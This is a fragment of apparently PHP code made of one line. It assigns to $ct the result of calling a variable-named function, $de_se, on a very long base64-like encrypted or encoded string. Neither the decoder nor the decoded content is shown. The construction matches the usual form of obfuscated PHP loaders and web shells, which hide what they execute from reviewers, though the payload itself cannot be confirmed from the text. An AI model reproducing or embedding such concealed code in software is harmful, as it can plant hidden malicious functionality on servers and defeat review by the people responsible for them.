$ct = $de_se('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